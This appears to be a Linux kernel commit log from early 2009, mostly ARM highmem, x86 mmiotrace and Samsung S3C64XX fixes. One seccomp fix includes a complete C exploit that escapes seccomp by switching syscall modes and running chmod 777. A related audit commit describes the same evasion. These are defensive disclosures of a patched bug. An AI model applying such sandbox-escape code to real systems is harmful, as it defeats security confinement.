1. 16 3月, 2009 6 次提交
    • N
      [ARM] Feroceon: add highmem support to L2 cache handling code · 1bb77267
      Nicolas Pitre 提交于
      The choice is between looping over the physical range and performing
      single cache line operations, or to map highmem pages somewhere, as
      cache range ops are possible only on virtual addresses.
      
      Because L2 range ops are much faster, we go with the later by factoring
      the physical-to-virtual address conversion and use a fixmap entry for it
      in the HIGHMEM case.
      
      Possible future optimizations to avoid the pte setup cost:
      
       - do the pte setup for highmem pages only
      
       - determine a threshold for doing a line-by-line processing on physical
         addresses when the range is small
      Signed-off-by: NNicolas Pitre <nico@marvell.com>
      1bb77267
    • N
      [ARM] make page_to_dma() highmem aware · 58edb515
      Nicolas Pitre 提交于
      If a machine class has a custom __virt_to_bus() implementation then it
      must provide a __arch_page_to_dma() implementation as well which is
      _not_ based on page_address() to support highmem.
      
      This patch fixes existing __arch_page_to_dma() and provide a default
      implementation otherwise.  The default implementation for highmem is
      based on __pfn_to_bus() which is defined only when no custom
      __virt_to_bus() is provided by the machine class.
      
      That leaves only ebsa110 and footbridge which cannot support highmem
      until they provide their own __arch_page_to_dma() implementation.
      But highmem support on those legacy platforms with limited memory is
      certainly not a priority.
      Signed-off-by: NNicolas Pitre <nico@marvell.com>
      58edb515
    • N
      [ARM] introduce dma_cache_maint_page() · 43377453
      Nicolas Pitre 提交于
      This is a helper to be used by the DMA mapping API to handle cache
      maintenance for memory identified by a page structure instead of a
      virtual address.  Those pages may or may not be highmem pages, and
      when they're highmem pages, they may or may not be virtually mapped.
      When they're not mapped then there is no L1 cache to worry about. But
      even in that case the L2 cache must be processed since unmapped highmem
      pages can still be L2 cached.
      Signed-off-by: NNicolas Pitre <nico@marvell.com>
      43377453
    • N
      3835f6cb
    • N
      [ARM] kmap support · d73cd428
      Nicolas Pitre 提交于
      The kmap virtual area borrows a 2MB range at the top of the 16MB area
      below PAGE_OFFSET currently reserved for kernel modules and/or the
      XIP kernel.  This 2MB corresponds to the range covered by 2 consecutive
      second-level page tables, or a single pmd entry as seen by the Linux
      page table abstraction.  Because XIP kernels are unlikely to be seen
      on systems needing highmem support, there shouldn't be any shortage of
      VM space for modules (14 MB for modules is still way more than twice the
      typical usage).
      
      Because the virtual mapping of highmem pages can go away at any moment
      after kunmap() is called on them, we need to bypass the delayed cache
      flushing provided by flush_dcache_page() in that case.
      
      The atomic kmap versions are based on fixmaps, and
      __cpuc_flush_dcache_page() is used directly in that case.
      Signed-off-by: NNicolas Pitre <nico@marvell.com>
      d73cd428
    • N
      [ARM] fixmap support · 5f0fbf9e
      Nicolas Pitre 提交于
      This is the minimum fixmap interface expected to be implemented by
      architectures supporting highmem.
      
      We have a second level page table already allocated and covering
      0xfff00000-0xffffffff because the exception vector page is located
      at 0xffff0000, and various cache tricks already use some entries above
      0xffff0000.  Therefore the PTEs covering 0xfff00000-0xfffeffff are free
      to be used.
      
      However the XScale cache flushing code already uses virtual addresses
      between 0xfffe0000 and 0xfffeffff.
      
      So this reserves the 0xfff00000-0xfffdffff range for fixmap stuff.
      
      The Documentation/arm/memory.txt information is updated accordingly,
      including the information about the actual top of DMA memory mapping
      region which didn't match the code.
      Signed-off-by: NNicolas Pitre <nico@marvell.com>
      5f0fbf9e
  2. 13 3月, 2009 3 次提交
  3. 07 3月, 2009 1 次提交
  4. 06 3月, 2009 1 次提交
  5. 05 3月, 2009 5 次提交
  6. 04 3月, 2009 2 次提交
  7. 03 3月, 2009 6 次提交
    • C
      [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU · b57ee99f
      Catalin Marinas 提交于
      The cacheid_init() function assumes that if cpu_architecture() returns
      7, the caches are VIPT_NONALIASING. The cpu_architecture() function
      returns the version of the supported MMU features (e.g. TEX remapping)
      but it doesn't make any assumptions about the cache type. The patch adds
      the checking of the Cache Type Register for the ARMv7 format.
      Signed-off-by: NCatalin Marinas <catalin.marinas@arm.com>
      Signed-off-by: NRussell King <rmk+kernel@arm.linux.org.uk>
      b57ee99f
    • S
      [ARM] 5416/1: Use unused address in v6_early_abort · 25ef4a67
      Seth Forshee 提交于
      The target of the strex instruction to clear the exlusive monitor
      is currently the top of the stack.  If the store succeeeds this
      corrupts r0 in pt_regs.  Use the next stack location instead of
      the current one to prevent any chance of corrupting an in-use
      address.
      Signed-off-by: NSeth Forshee <seth.forshee@gmail.com>
      Signed-off-by: NRussell King <rmk+kernel@arm.linux.org.uk>
      25ef4a67
    • T
      x86: oprofile: don't set counter width from cpuid on Core2 · 780eef94
      Tim Blechmann 提交于
      Impact: fix stuck NMIs and non-working oprofile on certain CPUs
      
      Resetting the counter width of the performance counters on Intel's
      Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
      
      This should fix bug #12395:
      
        http://bugzilla.kernel.org/show_bug.cgi?id=12395Signed-off-by: NTim Blechmann <tim@klingt.org>
      Signed-off-by: NRobert Richter <robert.richter@amd.com>
      LKML-Reference: <20090303100412.GC10085@erda.amd.com>
      Cc: <stable@kernel.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      780eef94
    • Y
      x86: fix init_memory_mapping() to handle small ranges · 0fc59d3a
      Yinghai Lu 提交于
      Impact: fix failed EFI bootup in certain circumstances
      
      Ying Huang found init_memory_mapping() has problem with small ranges
      less than 2M when he tried to direct map the EFI runtime code out of
      max_low_pfn_mapped.
      
      It turns out we never considered that case and didn't check the range...
      Reported-by: NYing Huang <ying.huang@intel.com>
      Signed-off-by: NYinghai Lu <yinghai@kernel.org>
      Cc: Brian Maly <bmaly@redhat.com>
      LKML-Reference: <49ACDDED.1060508@kernel.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      0fc59d3a
    • R
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
    • R
      x86-64: syscall-audit: fix 32/64 syscall hole · ccbe495c
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases, audit_syscall_entry() will use the wrong system
      call number table and the wrong system call argument registers.  This
      could be used to circumvent a syscall audit configuration that filters
      based on the syscall numbers or argument details.
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      ccbe495c
  8. 02 3月, 2009 7 次提交
    • P
      x86 mmiotrace: fix race with release_kmmio_fault_page() · 340430c5
      Pekka Paalanen 提交于
      There was a theoretical possibility to a race between arming a page in
      post_kmmio_handler() and disarming the page in
      release_kmmio_fault_page():
      
      cpu0                             cpu1
      ------------------------------------------------------------------
      mmiotrace shutdown
      enter release_kmmio_fault_page
                                       fault on the page
                                       disarm the page
      disarm the page
                                       handle the MMIO access
                                       re-arm the page
      put the page on release list
      remove_kmmio_fault_pages()
                                       fault on the page
                                       page not known to mmiotrace
                                       fall back to do_page_fault()
                                       *KABOOM*
      
      (This scenario also shows the double disarm case which is allowed.)
      
      Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
      if the page is being released from mmiotrace.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      340430c5
    • S
      x86 mmiotrace: improve handling of secondary faults · 3e39aa15
      Stuart Bennett 提交于
      Upgrade some kmmio.c debug messages to warnings.
      Allow secondary faults on probed pages to fall through, and only log
      secondary faults that are not due to non-present pages.
      
      Patch edited by Pekka Paalanen.
      Signed-off-by: NStuart Bennett <stuart@freedesktop.org>
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      3e39aa15
    • P
      x86 mmiotrace: split set_page_presence() · 0b700a6a
      Pekka Paalanen 提交于
      From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
      From: Pekka Paalanen <pq@iki.fi>
      Date: Sat, 28 Feb 2009 21:34:59 +0200
      
      Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
      and set_pte_presence(). Purely code reorganization, no functional changes.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      0b700a6a
    • P
      x86 mmiotrace: fix save/restore page table state · 5359b585
      Pekka Paalanen 提交于
      From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
      From: Pekka Paalanen <pq@iki.fi>
      Date: Sun, 22 Feb 2009 20:02:43 +0200
      
      Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
      possibility, that the page was not present when it was armed.
      
      Make arm_kmmio_fault_page() store the previous page presence in struct
      kmmio_fault_page and use it on disarm.
      
      This patch was originally written by Stuart Bennett, but Pekka Paalanen
      rewrote it a little different.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      5359b585
    • S
      x86 mmiotrace: WARN_ONCE if dis/arming a page fails · e9d54cae
      Stuart Bennett 提交于
      Print a full warning once, if arming or disarming a page fails.
      
      Also, if initial arming fails, do not handle the page further. This
      avoids the possibility of a page failing to arm and then later claiming
      to have handled any fault on that page.
      
      WARN_ONCE added by Pekka Paalanen.
      Signed-off-by: NStuart Bennett <stuart@freedesktop.org>
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      e9d54cae
    • P
      x86: add far read test to testmmiotrace · 5ff93697
      Pekka Paalanen 提交于
      Apparently pages far into an ioremapped region might not actually be
      mapped during ioremap(). Add an optional read test to try to trigger a
      multiply faulting MMIO access. Also add more messages to the kernel log
      to help debugging.
      
      This patch is based on a patch suggested by
      Stuart Bennett <stuart@freedesktop.org>
      who discovered bugs in mmiotrace related to normal kernel space faults.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      5ff93697
    • P
      x86: count errors in testmmiotrace.ko · fab852aa
      Pekka Paalanen 提交于
      Check the read values against the written values in the MMIO read/write
      test. This test shows if the given MMIO test area really works as
      memory, which is a prerequisite for a successful mmiotrace test.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      fab852aa
  9. 28 2月, 2009 6 次提交
  10. 27 2月, 2009 3 次提交
    • W
      [ARM] S3C64XX: Fix s3c64xx_setrate_clksrc · efeff568
      Werner Almesberger 提交于
      Some of the rate selection logic in s3c64xx_setrate_clksrc uses what
      appears to be parent clock selection logic. This patch corrects it.
      
      I also added a check for overly large dividers to prevent them from
      changing unrelated clocks.
      Signed-off-by: NWerner Almesberger <werner@openmoko.org>
      Signed-off-by: NBen Dooks <ben-linux@fluff.org>
      efeff568
    • B
      [ARM] S3C64XX: sparse warnings in arch/arm/plat-s3c64xx/irq.c · fdca9bf2
      Ben Dooks 提交于
      Fix the following sparse warnings in arch/arm/plat-s3c64xx/irq.c
      
      arch/arm/plat-s3c64xx/irq.c:210:23: warning: incorrect type in initializer (different address spaces)
      arch/arm/plat-s3c64xx/irq.c:210:23:    expected void *reg_base
      arch/arm/plat-s3c64xx/irq.c:210:23:    got void [noderef] <asn:2>*regs
      arch/arm/plat-s3c64xx/irq.c:215:2: warning: incorrect type in argument 1 (different address spaces)
      arch/arm/plat-s3c64xx/irq.c:215:2:    expected void const volatile [noderef] <asn:2>*<noident>
      arch/arm/plat-s3c64xx/irq.c:215:2:    got void *
      Signed-off-by: NBen Dooks <ben-linux@fluff.org>
      fdca9bf2
    • B
      [ARM] S3C64XX: sparse warnings in arch/arm/plat-s3c64xx/s3c6400-clock.c · 3782d360
      Ben Dooks 提交于
      Fix the following sparse warnings in s3c6400-clock.c:
      
      39:12: warning: symbol 'clk_ext_xtal_mux' was not declared. Should it be static?
      66:12: warning: symbol 'clk_fout_apll' was not declared. Should it be static?
      81:19: warning: symbol 'clk_mout_apll' was not declared. Should it be static?
      91:12: warning: symbol 'clk_fout_epll' was not declared. Should it be static?
      106:19: warning: symbol 'clk_mout_epll' was not declared. Should it be static?
      126:19: warning: symbol 'clk_mout_mpll' was not declared. Should it be static?
      148:12: warning: symbol 'clk_dout_mpll' was not declared. Should it be static?
      Signed-off-by: NBen Dooks <ben-linux@fluff.org>
      3782d360